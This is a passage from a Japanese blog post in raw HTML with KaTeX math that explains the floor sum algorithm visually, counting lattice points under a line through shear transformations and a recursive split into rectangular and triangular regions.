&#x3059;&#x306A;&#x308F;&#x3061;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;)</span></span></span></span> &#x306B;&#x7F6E;&#x304D;&#x63DB;&#x3048;&#x307E;&#x3059;&#x3002;&#x5909;&#x5F62;&#x306E;&#x30A4;&#x30E1;&#x30FC;&#x30B8;&#x306F;&#x4EE5;&#x4E0B;&#x306E;&#x56F3;&#x3067;&#x793A;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/----------2026-04-13-215719.png" class="kg-image" alt="&#x8996;&#x899A;&#x7684;&#x306B;&#x7406;&#x89E3;&#x3059;&#x308B;floor sum" loading="lazy" width="1674" height="889"></figure><p>&#x5B9F;&#x969B;&#x306B;&#x5909;&#x5F62;&#x3092;&#x884C;&#x3046;&#x3068;&#x3001;&#x4EE5;&#x4E0B;&#x306E;&#x3088;&#x3046;&#x306A;&#x56F3;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;(&#x70B9;&#x7DDA;&#x304C;&#x305B;&#x3093;&#x65AD;&#x5909;&#x5F62;&#x524D;&#x306E;&#x72B6;&#x614B;)</p><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/----------2026-04-13-221717.png" class="kg-image" alt="&#x8996;&#x899A;&#x7684;&#x306B;&#x7406;&#x89E3;&#x3059;&#x308B;floor sum" loading="lazy" width="1673" height="887"></figure><p>&#x307E;&#x305F;&#x3001;&#x5148;&#x307B;&#x3069;&#x6570;&#x3048;&#x306A;&#x304B;&#x3063;&#x305F;&#x70B9;&#x304C;&#x5B58;&#x5728;&#x3059;&#x308B;&#x7BC4;&#x56F2;&#x306F;&#x4EE5;&#x4E0B;&#x306E;&#x753B;&#x50CF;&#x306E;&#x3088;&#x3046;&#x306B;&#x5909;&#x5316;&#x3057;&#x307E;&#x3059;&#x3002;&#x9752;&#x306E;&#x70B9;&#x7DDA;&#x4E0A;&#x306E;&#x70B9;&#x306F;&#x3059;&#x3067;&#x306B;&#x6570;&#x3048;&#x3066;&#x3044;&#x308B;&#x3053;&#x3068;&#x306B;&#x6CE8;&#x610F;&#x3057;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;(&#x7D2B;&#x8272;&#x304C;&#x5909;&#x5F62;&#x524D;, &#x8D64;&#x8272;&#x304C;&#x5909;&#x5F62;&#x5F8C;)</p><!--kg-card-begin: markdown--><p><strong>&#x91CD;&#x8981;</strong><br>
<strong>&#x305B;&#x3093;&#x65AD;&#x5909;&#x5F62;&#x524D;&#x306E;&#x683C;&#x5B50;&#x70B9;&#x3068;&#x3001;&#x305B;&#x3093;&#x65AD;&#x5909;&#x5F62;&#x5F8C;&#x306E;&#x683C;&#x5B50;&#x70B9;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> &#x5BFE; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> &#x3067;&#x5BFE;&#x5FDC;&#x3059;&#x308B;&#x305F;&#x3081;&#x3001;&#x7D2B;&#x306E;&#x9818;&#x57DF;&#x5185;(&#x5883;&#x754C;&#x3092;&#x542B;&#x3080;)&#x3068;&#x8D64;&#x306E;&#x9818;&#x57DF;&#x5185;(&#x5883;&#x754C;&#x3092;&#x542B;&#x3080;)&#x306E;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x6570;&#x306F;&#x7B49;&#x3057;&#x304F;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</strong></p>
<details><summary>&#x3061;&#x3083;&#x3093;&#x3068;&#x3057;&#x305F;&#x8A3C;&#x660E;</summary>
<p>&#x7D2B;&#x306E;&#x9818;&#x57DF;&#x3068;&#x8D64;&#x306E;&#x9818;&#x57DF;&#x306E;&#x5185;&#x90E8;(&#x5883;&#x754C;&#x3092;&#x542B;&#x3080;)&#x306E;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x500B;&#x6570;&#x3092;&#x305D;&#x308C;&#x305E;&#x308C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x5EA7;&#x6A19;&#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> &#x3067;&#x56FA;&#x5B9A;&#x3057;&#x3066;&#x6570;&#x3048;&#x308B;&#x3053;&#x3068;&#x3092;&#x8003;&#x3048;&#x308B;&#x3068;&#x3001;&#x3069;&#x3061;&#x3089;&#x306E;&#x30B7;&#x30B0;&#x30DE;&#x306E;&#x4E2D;&#x8EAB;&#x3082; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">(</span></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span><span class="mord mathnormal mtight">i</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">(</span><span class="mord">&#x2212;</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2223em;vertical-align:-0.35em;"></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;))</span><span class="mord"><span class="delimsizing size1">)</span></span></span></span></span> &#x306B;&#x306A;&#x308B;&#x305F;&#x3081;&#x3001;&#x305D;&#x308C;&#x305E;&#x308C;&#x306E;&#x9818;&#x57DF;&#x5185;(&#x5883;&#x754C;&#x3092;&#x542B;&#x3080;)&#x306E;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x6570;&#x306F;&#x7B49;&#x3057;&#x3044;&#x3002;</p>
</details>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/----------2026-04-13-224353.png" class="kg-image" alt="&#x8996;&#x899A;&#x7684;&#x306B;&#x7406;&#x89E3;&#x3059;&#x308B;floor sum" loading="lazy" width="1607" height="915"></figure><p>&#x6B21;&#x306B;&#x3001;&#x305B;&#x3093;&#x65AD;&#x5909;&#x5F62;&#x5F8C;&#x306E;&#x8D64;&#x3044;&#x9818;&#x57DF;&#x306B;&#x304A;&#x3044;&#x3066;&#x6570;&#x3048;&#x308B;&#x3079;&#x304D;&#x6B8B;&#x308A;&#x306E;&#x70B9;&#x3092;&#x3001;&#x9577;&#x65B9;&#x5F62;&#x9818;&#x57DF;&#x5185;&#x306E;&#x70B9;&#x3068;&#x4E09;&#x89D2;&#x5F62;&#x9818;&#x57DF;&#x5185;&#x306E;&#x70B9;&#x306B;&#x5206;&#x5272;&#x3059;&#x308B;&#x3068;&#x3001;&#x4EE5;&#x4E0B;&#x306E;&#x753B;&#x50CF;&#x306E;&#x3088;&#x3046;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/----------2026-04-13-225440.png" class="kg-image" alt="&#x8996;&#x899A;&#x7684;&#x306B;&#x7406;&#x89E3;&#x3059;&#x308B;floor sum" loading="lazy" width="1475" height="881"></figure><!--kg-card-begin: markdown--><p>&#x5DE6;&#x5074;&#x306E;&#x65B9;&#x306E;&#x9577;&#x65B9;&#x5F62;&#x9818;&#x57DF;&#x306E;&#x5185;&#x90E8;&#x53CA;&#x3073;&#x5883;&#x754C;&#x4E0A;&#x306B;&#x5B58;&#x5728;&#x3059;&#x308B;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x500B;&#x6570;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span> &#x500B;&#x3067;&#x3059;&#x3002;<br>
&#x305D;&#x3057;&#x3066;&#x3001;(&#x70B9;&#x7DDA;&#x3067;&#x306A;&#x3044;)&#x8D64;&#x3044;&#x7DDA;&#x3092; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x8EF8;&#x6B63;&#x65B9;&#x5411;&#x306B; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">&#x2212;</span><span class="mord">3</span></span></span></span> &#x3060;&#x3051;&#x79FB;&#x52D5;&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x3001;&#x53F3;&#x5074;&#x306E;&#x4E09;&#x89D2;&#x5F62;&#x9818;&#x57DF;&#x306E;&#x5185;&#x90E8;(&#x5883;&#x754C;&#x3092;&#x542B;&#x3080;)&#x306E;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x500B;&#x6570;&#x306F;&#x3001;&#x300C;(&#x50BE;&#x304D;&#x304C;&#x8CA0;&#x306E;&#x6709;&#x7406;&#x6570;&#x306E;)&#x76F4;&#x7DDA;&#x3068;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x8EF8;&#x3068;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x8EF8;&#x306B;&#x56F2;&#x307E;&#x308C;&#x305F;&#x9818;&#x57DF;&#x306E;&#x5185;&#x90E8;(&#x5883;&#x754C;&#x3092;&#x542B;&#x3080;)&#x306E;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x500B;&#x6570;&#x300D;&#x3068;&#x7B49;&#x3057;&#x304F;&#x306A;&#x308B;&#x306E;&#x3067;&#x3001;&#x3053;&#x308C;&#x306F;&#x6700;&#x521D;&#x3068;&#x540C;&#x3058;&#x72B6;&#x614B;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x3057;&#x305F;&#x304C;&#x3063;&#x3066;&#x3001;&#x30B9;&#x30C6;&#x30C3;&#x30D7;1&#x304B;&#x3089;&#x3084;&#x308A;&#x76F4;&#x3059;&#x3053;&#x3068;&#x3067;&#x3001;&#x518D;&#x5E30;&#x7684;&#x306B;&#x3053;&#x306E;&#x554F;&#x984C;&#x3092;&#x89E3;&#x304F;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><details><summary>&#x4E00;&#x822C;&#x306E;&#x5834;&#x5408;</summary>
<p>&#x307E;&#x305A;&#x3001;&#x305B;&#x3093;&#x65AD;&#x5909;&#x5F62;&#x306B;&#x3088;&#x3063;&#x3066;&#x76F4;&#x7DDA; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> &#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;)</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord mathnormal">A</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span></span></span></span> &#x306B;&#x5909;&#x5316;&#x3059;&#x308B;&#x3002;<br>
&#x3059;&#x308B;&#x3068;&#x3001;&#x5DE6;&#x5074;&#x306E;&#x9577;&#x65B9;&#x5F62;&#x9818;&#x57DF;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord" style="color:#df0030;">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2264;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span><span class="mclose">)</span></span></span></span> &#x3068;&#x306A;&#x308A;&#x3001;&#x3053;&#x306E;&#x5185;&#x90E8;&#x53CA;&#x3073;&#x5883;&#x754C;&#x4E0A;&#x306B;&#x5B58;&#x5728;&#x3059;&#x308B;&#x683C;&#x5B50;&#x70B9;&#x306E;&#x500B;&#x6570;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.5113em;vertical-align:-0.35em;"></span><span class="mopen">&#x230A;</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">&#x230B;)</span><span class="mord"><span class="delimsizing size1">&#x230A;</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1613em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.5508em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span><span class="mbin mtight">&#x2212;</span><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span><span class="mopen mtight">&#x230A;</span><span class="mord mtight"><span class="mopen nulldelimiter sizing reset-size3 size6"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8721em;"><span style="top:-2.656em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span style="top:-3.2255em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line mtight" style="border-bottom-width:0.049em;"></span></span><span style="top:-3.384em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.344em;"><span></span></span></span></span></span><span class="mclose nulldelimiter sizing reset-size3 size6"></span></span><span class="mclose mtight">&#x230B;</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="delimsizing size1">&#x230B;</span></span></span></span></span> &#x3068;&#x306A;&#x308B;&#x3002;&#x306A;&#x304A;&#x3001;&#x9577;&#x65B9;&#x5F62;&#x9818;&#x57DF;&#x304C;&#x5B58;&#x5728;&#x3057;&#x306A;&#x3044;&#x5834;&#x5408;&#x3067;&#x3082;&#x3053;&#x306E;&#x5F0F;&#x306F;&#x6B63;&#x3057;&#x304F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> &#x3092;&#x8FD4;&#x3059;&#x3002;&#x3053;&#x306E;&#x5024;&#x306F;&#x7B54;&#x3048;&#x306B;&#x52A0;&#x7B97;&#x3057;&#x3066;&#x304A;&#x304F;&#x3002;<br>
